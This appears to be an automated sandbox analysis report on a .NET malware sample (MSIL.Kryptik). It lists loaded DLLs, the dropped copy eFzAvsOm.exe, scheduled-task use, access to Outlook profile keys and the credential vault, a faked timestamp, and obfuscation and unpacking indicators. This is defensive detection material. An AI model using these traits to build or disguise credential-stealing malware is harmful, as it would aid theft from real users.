Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: fastprox.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: ncobjapi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mpclient.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wmitomi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Section loaded: gpapi.dll
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles Jump to behavior
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: eLRW.pdbSHA256 source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, eFzAvsOm.exe.0.dr
Source: Binary string: eLRW.pdb source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, eFzAvsOm.exe.0.dr

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.5130000.4.raw.unpack, RZ.cs .Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, e4NXZjNjHV5vmgvMPk.cs .Net Code: awPeNwB563 System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, e4NXZjNjHV5vmgvMPk.cs .Net Code: awPeNwB563 System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.26b9dac.0.raw.unpack, RZ.cs .Net Code: System.Reflection.Assembly.Load(byte[])
Source: 10.2.eFzAvsOm.exe.2f29b00.0.raw.unpack, RZ.cs .Net Code: System.Reflection.Assembly.Load(byte[])
Binary contains a suspicious time stamp
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Static PE information: 0xEECF1AE6 [Mon Dec 17 02:37:26 2096 UTC]
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_04B6B8B0 push eax; mov dword ptr [esp], ecx 0_2_04B6B8B4
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C02E30 push ecx; retn 0006h 0_2_06C031EA
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C01784 push edx; retn C006h 0_2_06C03292
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C0AE01 pushfd ; retn 0006h 0_2_06C0AE02
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C03FE0 push edi; retn 0006h 0_2_06C03FE2
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C05F98 push esp; retn 0006h 0_2_06C05F99
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C03470 push edx; retn 0006h 0_2_06C03472
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C05C28 pushfd ; retn 0006h 0_2_06C05C29
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C0ADB0 pushfd ; retn 0006h 0_2_06C0ADB2
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C035B1 push ebx; retn 0006h 0_2_06C035B2
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C0321F push ecx; retn 0006h 0_2_06C03222
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C03A2F push ebp; retn 0006h 0_2_06C03A32
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C03A37 push ebp; retn 0006h 0_2_06C03A3A
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C03341 push edx; retn 0006h 0_2_06C03342
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C038E0 push esp; retn 0006h 0_2_06C038E2
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C04099 push edi; retn 0006h 0_2_06C0409A
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C031B0 push ecx; retn 0006h 0_2_06C031EA
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C03929 push ebp; retn 0006h 0_2_06C0392A
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C1AE88 push cs; retn 0006h 0_2_06C1AE8A
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C1CEA9 push ds; retn 0006h 0_2_06C1CEAA
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C1AEAF push cs; retn 0006h 0_2_06C1AEB2
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C156B7 pushfd ; iretd 0_2_06C156F9
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C1CEB8 push ds; retn 0006h 0_2_06C1CF62
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C15613 pushad ; iretd 0_2_06C15639
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C1AE19 push cs; retn 0006h 0_2_06C1AE1A
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C1AE23 push eax; mov dword ptr [esp], edx 0_2_06C1AE2C
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C1CE30 push ds; retn 0006h 0_2_06C1CE32
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C1CE3E push ds; retn 0006h 0_2_06C1CE52
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C1ADD8 push cs; retn 0006h 0_2_06C1ADDA
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C1BAA1 push ss; retn 0006h 0_2_06C1BAA2
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Code function: 0_2_06C1CA19 push FFFFFF8Bh; iretd 0_2_06C1CA1B
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Static PE information: section name: .text entropy: 7.76007204971442
Source: eFzAvsOm.exe.0.dr Static PE information: section name: .text entropy: 7.76007204971442
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, dfeKHE6x5d31Kf9Po5.cs High entropy of concatenated method names: 'mOnsK0d6q0', 'DqGsu1u90G', 'o4CsOXYyHg', 'eKrOvvHast', 'c1VOzbauT2', 'mFTsFqcsGs', 'FsYsBQLujp', 'dqtsVChBae', 'SVFsqQkjjo', 'vlhseEFCYm'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, bmYmCFonUgDmn1KOk8U.cs High entropy of concatenated method names: 'ffQnd4FNuh', 'TurnrTyYTj', 'o1qnNr1BwG', 'Bf3nmkC38i', 'i0xn2TdNIA', 'yn5nCAAgX4', 'WCCnpWFTyu', 'FJnnQEO92w', 'mYjnDiyIO2', 'cI1nROqhDc'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, Ck9KUH03mPl1BXVZKg.cs High entropy of concatenated method names: 'MkLHIOM7fI', 'iddHM5IchS', 'z94H9hHlHQ', 'TMRHWmkHuc', 'XGqHooTbQX', 'JMrH4ud4VL', 'wXNHhGYLrT', 'GMPHaDNtqC', 'oEtHxDo8to', 'yP4HvHKHDF'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, I6JNUBSBDIKCNSl5LH.cs High entropy of concatenated method names: 'C1P7ZLyT15', 'DYl7Xcx8jW', 'mk37fJ1DjG', 'jS97U6kKJ0', 'IS37IjXGcR', 'uE47y1b0l0', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, c35RxChhngPqAk42Vr.cs High entropy of concatenated method names: 'fbmnBwxr9x', 'xUbnqNpN7q', 'ukfneCeKEO', 'LqOnKlJQ8k', 'w6DnHnMngQ', 'EVlnLuGCxJ', 'agVnO4rLVX', 'YcE7hifMQK', 'tCJ7amwGxX', 'RN87xQ0awb'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, RBoRtSQu7sDQrMTu3r.cs High entropy of concatenated method names: 'kEiOjHY6bj', 'vc8OHpHZoG', 'WtxOL18Md0', 'RUYOsag94X', 'q2cO3x3vCO', 'UYXLom85jr', 'vDQL4PO2hT', 'C5CLhChjvr', 'GuNLa8lbYw', 'cpXLxVooMk'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, Pc2Bo6lEd4fR2c4BCe.cs High entropy of concatenated method names: 'Dispose', 'CSQBxqKsWH', 'f1iVXck80l', 'V5M66Wy9ct', 'ib7BvWUWsI', 'F5hBzgT4Fp', 'ProcessDialogKey', 'IIWVFnPhSb', 'jkSVBEkrn8', 'XZSVV9MsFS'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, sL9ieooCXKnduqu9K7v.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'QnltIyLQBF', 'XRAtM1Frap', 'CNst98DlaE', 'wMFtWbbTp1', 't2EtoLh9hp', 'kP0t4g6tLF', 'hDythlwYhZ'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, TjrqVw3PJQ3Sx8WHOJ.cs High entropy of concatenated method names: 'ETJNMG6yZ', 'ppBmtpmIh', 'udTCPHIBy', 'xhhpA14RQ', 'rnTDsAPym', 'wvLRFUt3M', 'ibR8sMgLKa5KE1DOEg', 'yCdsmO1HgxTgnHa1AP', 'Chh7dswof', 'P5etyU6GP'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, YwRA9L1WpLER8u0VFY.cs High entropy of concatenated method names: 'xwZGEed6D4', 'lT6G13Jxli', 'aInGIbDHT1', 'VYvGMsoMX2', 'tDRGX2nX8o', 'aPrGfsCdue', 'jAcGUNadEk', 'yW5Gy463gO', 'NpqGAtW9qE', 'GFmGbJ9QG0'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, e4NXZjNjHV5vmgvMPk.cs High entropy of concatenated method names: 'NQfqjYYItI', 'bSHqKbercY', 'smbqHp1OGE', 'iFuqucVW1G', 'EAxqL0mDR5', 'L9MqOBoo0F', 'gS5qsfjqoF', 'q8Uq3kM9aX', 'TawqkDhVXe', 'clGqYypCHe'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, VsXexiPwgkdpkYOIjb.cs High entropy of concatenated method names: 'l0HJQHnmHw', 'z5xJDg1xyO', 'u2UJZxk3ea', 'NS6JX7AFVt', 'GERJUGvTCU', 'z3IJyU159l', 'PDVJbr1b07', 'zxdJ0u25j3', 'q3hJEy52iQ', 'QZGJTSD5ai'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, bH4LmEktTbgyfu1nmW.cs High entropy of concatenated method names: 'uY07K3Soa1', 'fUc7HVm16k', 'bKB7u9fMTv', 'PhB7LHxi21', 'dDx7Of7lpG', 'zRO7sM2DO2', 'wIZ73MBd7G', 'XdI7kcPpTh', 'ieK7YjtuTI', 'Y7c7cRjFtP'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, dnVFUnFdWwv7se0265.cs High entropy of concatenated method names: 'VgWumxXTHq', 'dTNuC724Eb', 'ogquQkF662', 'jhxuDbMsVI', 'onauGqT5Q7', 'uV3u8DLOfF', 'VLMuPpbuwY', 'sQlu7auoOr', 'LyCunWRm3B', 'wvautPo0Ef'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, khmUE4uXWX2TkVb03Y.cs High entropy of concatenated method names: 'ToString', 'Ls68Tg32Yh', 'Fsr8Xjt0vi', 'g6d8f1FuKC', 'iK08U3hCI6', 'PTt8ymY2Vl', 'n4S8ABTI4T', 'zic8bIHa3A', 'CBi807uIxp', 'nj08SLdBb8'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, J7KEIN8ETF49kcU0Zj.cs High entropy of concatenated method names: 'a2SBs9u0iD', 'uBoB3xPJjJ', 'DVsBYB7Q7s', 'of7Bcqu0jL', 'X9iBGOEkw4', 'qEKB8hljHK', 'Oran9tTESkTQ162TIk', 'fdNKdplnQCHcmbY9HP', 'pqpBBTSYhD', 'NfrBqHoBtS'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, PnSHUJG13oNu5hJSUf.cs High entropy of concatenated method names: 'bM4L2mwR3t', 'LXMLpM0xMl', 'q0AufFeork', 'qgMuUSLmxw', 'AO4uyjAfJk', 'XZKuARgrhm', 'ni7ubNT1y6', 'bs0u0pCOk9', 'ok0uSccUjk', 'WaGuEOfm0h'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, kNQSvGzjja851KY6JG.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'hm4nJjUnyZ', 'oIGnGJeknw', 'cvZn8qqbPQ', 'nDNnPGQYx7', 'Vy7n7G3Wbj', 'USAnn7KgDd', 'DClnt5vriC'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, m0Q6g3tGVDoEV2HkJB.cs High entropy of concatenated method names: 'V0EPalLMRw', 'rIXPvwwMXm', 'TkH7Fiac9X', 'JGv7BQRgOZ', 'ze3PTc1WwK', 'WrrP1dGMI6', 'OG6PwfQS7K', 'OU9PIb1StU', 'VNNPMCEBwu', 'VFlP9h9iJv'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, audrBvVO2OopYIUgn9.cs High entropy of concatenated method names: 'na0sd0QW37', 'kBHsr1JyR9', 'IQasNRy2RM', 'Y47smF98c0', 'uqCs2lRhOu', 'FtCsCR9rKh', 'bPdsppBNGu', 'PaAsQsRYGh', 'rvKsDOwipy', 'kPmsRrKp9b'
